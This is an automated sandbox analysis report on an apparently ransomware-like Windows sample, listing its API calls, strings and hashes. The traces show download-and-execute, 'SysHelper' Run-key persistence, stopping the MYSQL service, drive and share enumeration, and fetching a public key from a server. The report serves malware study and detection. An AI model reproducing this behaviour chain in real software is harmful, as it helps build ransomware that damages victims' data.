Part of subcall function 0040ECB0: _strtok.LIBCMT ref: 0040ED66

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0041DCF5
GetProcAddress.KERNEL32(00000000,SHGetFolderPathA), ref: 0041DD01

Part of subcall function 00413C40: _memset.LIBCMT ref: 00413C83

UuidCreate.RPCRT4(?), ref: 0041DD3C
UuidToStringA.RPCRT4(?,?), ref: 0041DD57
RpcStringFreeA.RPCRT4(00000000), ref: 0041DDB4
PathAppendA.SHLWAPI(?,00000000), ref: 0041DDD3
CreateDirectoryA.KERNEL32(?,00000000), ref: 0041DDDC
_memset.LIBCMT ref: 0041DEE7
InternetOpenA.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0041DEFC

Part of subcall function 00412900: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

_wcsstr.LIBCMT ref: 0041DF50
InternetOpenUrlA.WININET(00000000,00000000), ref: 0041E07B

Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DD8D
Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DDB6
Part of subcall function 0040DD40: _memset.LIBCMT ref: 0040DDE4
Part of subcall function 0040DD40: lstrlenW.KERNEL32(?), ref: 0040DE0A
Part of subcall function 0040DD40: gethostbyname.WS2_32(00500134), ref: 0040DEA7

_memmove.LIBCMT ref: 0041DFDD
HttpQueryInfoW.WININET(00000000,20000013,?,00000000,00000000), ref: 0041E10D
lstrcpyA.KERNEL32(?,?), ref: 0041E229
PathAppendA.SHLWAPI(?,?), ref: 0041E23F
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,?,?), ref: 0041E288
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041E2A0
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0041E2C7
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0041E2FB
CloseHandle.KERNEL32(00000000), ref: 0041E317
InternetCloseHandle.WININET(00000000), ref: 0041E324
InternetCloseHandle.WININET(?), ref: 0041E32A
ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0041E34D

Strings

Microsoft Internet Explorer, xrefs: 0041DEF7
Shell32.dll, xrefs: 0041DCF0
$run, xrefs: 0041DEAB
.bit/, xrefs: 0041DF45
SHGetFolderPathA, xrefs: 0041DCFB

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseCreateHandle_memset_wcsstr$AppendOpenPathStringUuid$AddressByteCharDirectoryExecuteFreeHttpInfoLibraryLoadMultiPointerProcQueryReadShellWideWrite_memmove_strtokgethostbynamelstrcpylstrlen
String ID: $run$.bit/$Microsoft Internet Explorer$SHGetFolderPathA$Shell32.dll
API String ID: 1843630811-800396732
Opcode ID: 038d8f26f7e17fd2fbb24954b0d80351b57b798a838a487241a78288a387c4e4
Instruction ID: dcf8a581e05b5da13000ef7a953c2c15a8b95d2250363c4482f8ef8be3b44f4c
Opcode Fuzzy Hash: 038d8f26f7e17fd2fbb24954b0d80351b57b798a838a487241a78288a387c4e4
Instruction Fuzzy Hash: BF32C070108380EFE730DF25C845B9BBBE4AF85308F10491EF99957291D7BA9589CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

EnumProcessModules, xrefs: 0041226C, 004122A1
kernel32.dll, xrefs: 0041224E
EnumProcesses, xrefs: 00412264, 00412299
GetModuleBaseNameW, xrefs: 00412277, 004122AC
Psapi.dll, xrefs: 0041228C

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041F130 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 689sleeptimewindowCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0041F15E
Sleep.KERNEL32(?), ref: 0041F185
Sleep.KERNEL32(?), ref: 0041F19D
SendMessageW.USER32(?,00008003,00000000,00000000), ref: 0041F9D0

Part of subcall function 00410A50: GetLogicalDrives.KERNEL32 ref: 00410A75
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
Part of subcall function 00410A50: PathFileExistsA.SHLWAPI(?), ref: 00410AF9
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000000), ref: 00410B02
Part of subcall function 00410A50: GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Strings

C:\, xrefs: 0041F1FC, 0041F267, 0041F709, 0041F72E, 0041F736

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ErrorModeSleep$DriveDrivesExistsFileLogicalMessagePathSendTimeTypetime
String ID: C:\
API String ID: 3672571082-3404278061
Opcode ID: 425d0a5fde586859440e492031ca0f4c8861ebbc6aae20daef024ceb3a169926
Instruction ID: 5c6d64671d491e840e8d62e2c9f1d443296aa8abdfe0033865403ad230f1735f
Opcode Fuzzy Hash: 425d0a5fde586859440e492031ca0f4c8861ebbc6aae20daef024ceb3a169926
Instruction Fuzzy Hash: C842B171E003059BDF24DFA8C885BDEB7B1BF44308F14452EE805AB381D779A98ACB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: f45b98405c1f71f8cf210733416d325a4d71fa48c85ae1d9d689e81721124c0a
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: f45b98405c1f71f8cf210733416d325a4d71fa48c85ae1d9d689e81721124c0a
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779
__invoke_watson.LIBCMT ref: 004237EA

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

https://api.2ip.ua/geo.json, xrefs: 0040CF79
"country_code":", xrefs: 0040CFE1
Microsoft Internet Explorer, xrefs: 0040CF5A

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: 0805b9f8892e75a0c503b3632afaad7c8239eac82df1340367160222ea91e53d
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: 0805b9f8892e75a0c503b3632afaad7c8239eac82df1340367160222ea91e53d
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63
servicesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: 668aece8c99ea5c9e6175df748f0ede5af6f34e9147d9484ea9038d6ec1cbe4f
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: 668aece8c99ea5c9e6175df748f0ede5af6f34e9147d9484ea9038d6ec1cbe4f
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

Error encrypting message: %s, xrefs: 0040CE67
\\n, xrefs: 0040CC1B
 , xrefs: 0040CCAF

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 6e43fb8a0739540ccd7c2e153891386e1c7683714e04e1a379d272dcb94be7b2
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 6e43fb8a0739540ccd7c2e153891386e1c7683714e04e1a379d272dcb94be7b2
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

SysHelper, xrefs: 0040C6EB, 0040C71D
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

bowsakkdestx.txt, xrefs: 0041EA67
{"public_key":", xrefs: 0041EA2E

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 474c6379b963d257ae86b00d206dade7857df39941341afbbe7ce7c2bd65e929
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: 474c6379b963d257ae86b00d206dade7857df39941341afbbe7ce7c2bd65e929
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

